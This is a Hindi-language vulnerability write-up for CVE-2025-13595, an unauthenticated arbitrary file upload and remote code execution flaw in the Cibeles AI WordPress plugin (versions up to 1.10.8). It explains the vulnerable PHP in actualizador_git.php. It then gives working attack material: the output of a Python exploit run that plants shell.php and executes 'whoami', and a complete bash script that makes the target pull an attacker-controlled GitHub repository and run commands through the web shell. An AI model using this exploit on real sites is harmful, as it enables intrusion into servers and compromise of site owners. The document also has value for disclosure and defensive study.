
CIBELES AI <= 1.10.8 - अप्रमाणित मनमाना फ़ाइल अपलोड
Cibeles AI WordPress प्लगइन के संस्करण 1.10.8 और उससे नीचे में actualizador_git.php फ़ाइल में एक बिना प्रमाणीकरण वाली रिमोट कोड निष्पादन भेद्यता मौजूद है। यह फ़ाइल बिना किसी प्रमाणीकरण या प्राधिकरण जांच के HTTP के माध्यम से सीधे एक्सेस की जा सकती है, जिससे बिना प्रमाणीकरण वाले हमलावर मनमाने GitHub रिपॉजिटरी डाउनलोड कर सकते हैं और प्लगइन फ़ाइलों को अधिलेखित कर सकते हैं, जिससे रिमोट कोड निष्पादन संभव होता है।
एक CVE-2025-13595.py प्रदान किया गया है जो एक रिमोट हमलावर द्वारा shell.php अपलोड करने और रिमोट कोड निष्पादित करने को प्रदर्शित करता है:
python3 CVE-2025-13595.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/cibeles-ai
[*] Exploit executed. Checking if shell.php was created...
[*] Testing shell access...
www-data
[*] Shell should be accessible at:
http://techcorp.cc/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND
यह भेद्यता /wp-content/plugins/cibeles-ai/actualizador_git.php में मौजूद है। यह फ़ाइल एक GitHub रिपॉजिटरी मिररिंग प्रणाली लागू करती है जिसे बिना किसी सुरक्षा नियंत्रण के HTTP के माध्यम से सीधे एक्सेस किया जा सकता है।
प्रत्यक्ष फ़ाइल एक्सेस (Line 1-17):
फ़ाइल में मानक WordPress ABSPATH जांच (if (!defined('ABSPATH')) exit;) का अभाव है जो प्रत्यक्ष HTTP एक्सेस को रोकती है। पैरामीटर बिना किसी सत्यापन के सीधे $_GET से पढ़े जाते हैं:
$OWNER = $_GET['owner'] ?? 'cibeles';
$REPO = $_GET['repo'] ?? 'svn_cibeles-ai';
$REF = $_GET['ref'] ?? 'main';
$TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
टोकन सत्यापन (Line 26): एकमात्र सत्यापन यह जांचता है कि टोकन खाली है या डिफ़ॉल्ट मान है। कोई प्रमाणीकरण या प्राधिकरण नहीं किया जाता:
if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') {
http_response_code(400);
exit("Falta token\n");
}
GitHub API अनुरोध (Line 31, 35-58): स्क्रिप्ट उपयोगकर्ता-नियंत्रित पैरामीटर का उपयोग करके GitHub के API से एक ZIP फ़ाइल डाउनलोड करती है:
$apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
curl_download($apiUrl, $zip, $TOKEN);
curl_download() फ़ंक्शन टोकन को Authorization हेडर में भेजता है लेकिन रिपॉजिटरी के स्वामी या सामग्री का कोई सत्यापन नहीं करता।
ZIP निष्कर्षण और फ़ाइल संचालन (Line 133-158): डाउनलोड की गई ZIP को निकाला जाता है और फ़ाइलों को सीधे प्लगइन निर्देशिका में कॉपी किया जाता है:
$zipArc->extractTo($extractDir);
$rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
rrcopy_into($rootInsideZip, $cwd);
rrcopy_into() फ़ंक्शन निकाले गए रिपॉजिटरी से सभी फ़ाइलों को वर्तमान कार्यशील निर्देशिका (प्लगइन निर्देशिका) में पुनरावर्ती रूप से कॉपी करता है, मौजूदा फ़ाइलों को अधिलेखित करते हुए।
फ़ाइल विलोपन (Line 152-154): डाउनलोड किए गए रिपॉजिटरी में मौजूद नहीं होने वाली फ़ाइलें हटा दी जाती हैं:
mirror_delete_extras($cwd, $keepSet, $PRESERVE);
mirror_delete_extras() फ़ंक्शन प्लगइन निर्देशिका में मौजूद उन सभी फ़ाइलों को हटा देता है जो रिपॉजिटरी मैनिफेस्ट में मौजूद नहीं हैं।
TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"
COMMAND="whoami"
echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"
curl -s "${TARGET}/wp-content/plugins/cibeles-ai/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"
echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""
echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=${COMMAND}"
echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo " ${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND"